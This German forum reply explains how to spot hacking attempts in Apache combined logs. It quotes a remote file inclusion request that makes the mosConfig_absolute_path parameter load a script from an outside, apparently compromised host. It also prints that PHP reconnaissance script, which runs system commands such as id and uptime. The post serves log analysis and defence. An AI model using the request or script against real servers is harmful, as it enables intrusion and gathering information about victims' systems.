Um effizient nach hackversuchen zu suchen, solltest Du zuerst aus dem Log die Spalte mit dem Referrer enfernen (weil da sehr oft die Zeichenkette http:// drin vorkommt). Eine typische Log-Zeile von einem Hack-Versuch (apache combined style) sieht so aus:
Code:
213.35.225.138 - - [22/Jun/2008:05:26:45 +0200] "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1" 200 10930 "-" "libwww-perl/5.805"
Das log kann man in mehrere Spalten aufteilen (Fehlende Information ist dort normalerweise durch ein einzelnes Minus (-) repräsentiert":
- IP-Adresse: Im Beispiel oben: 213.35.225.138
- User-ID: Im Beispiel oben: -
- Username: Im Beispiel oben: -
- Zeitstempel: Im Beispiel oben: [22/Jun/2008:05:26:45 +0200]
- Request: Im Beispiel oben: "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1"
- Result-Code: Im Beispiel oben 200 (OK)
- Bytecount der Response: Im Beispiel oben: 10930
- Referrer: Im Beispiel oben: "-"
- User-Agent: Im Beispiel oben: "libwww-perl/5.805"
Die interessante Stelle ist hier immer der Request. Im Beispiel wird versucht, über die CGI-Variable mosConfig_absolute_path ein hack-script von chucksden.com (ein schon vorab gehackter Server) nachzuladen, welches dann die 2. Stufe eines Angriffs ausführen soll. Genau dort musst Du ansetzen: Alle Requests, in denen "http://" oder "ftp://" vorkommt sollten erst mal näher unter die Lupe genommen werden. Man kann aber nicht einfach nur nach http:// oder ftp:// suchen, weil diese Zeichenkette sehr oft auch im Referrer vorkommt. Idealerweise entfernt man die Spalte "Referrer" also vor der Suche. Wenn man sich das Script unter der obigen Adresse manuell zieht, sieht man hier dann z.B. folgendes:
Code:
<?
echo "Dosha<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "Dosha ONLINE<br>";
exit;
?>
Im Beispiel handelt es sich also um den zunächst noch recht "harmlosen" Versuch, erst mal genauere Infos über das angegriffene System rauszubekommen, um anhand dessen zu entscheiden ob - und wenn ja mit welchen Tools - man den Angriff fortsetzen kann.
Dass im vorliegenden Fall als User-Agent "libwww-perl/5.805" verwendet wurde, läßt darauf schliessen, dass der Angreifer wohl irgendein Script-Kiddie ohne grosartiges KnowHow war. Richtige Angreifer setzen hier natürlich die Signatur von IE oder FF ein.
Hoffe, das gibt Dir ein paar Anhaltspunkte
-Fritz
Lesezeichen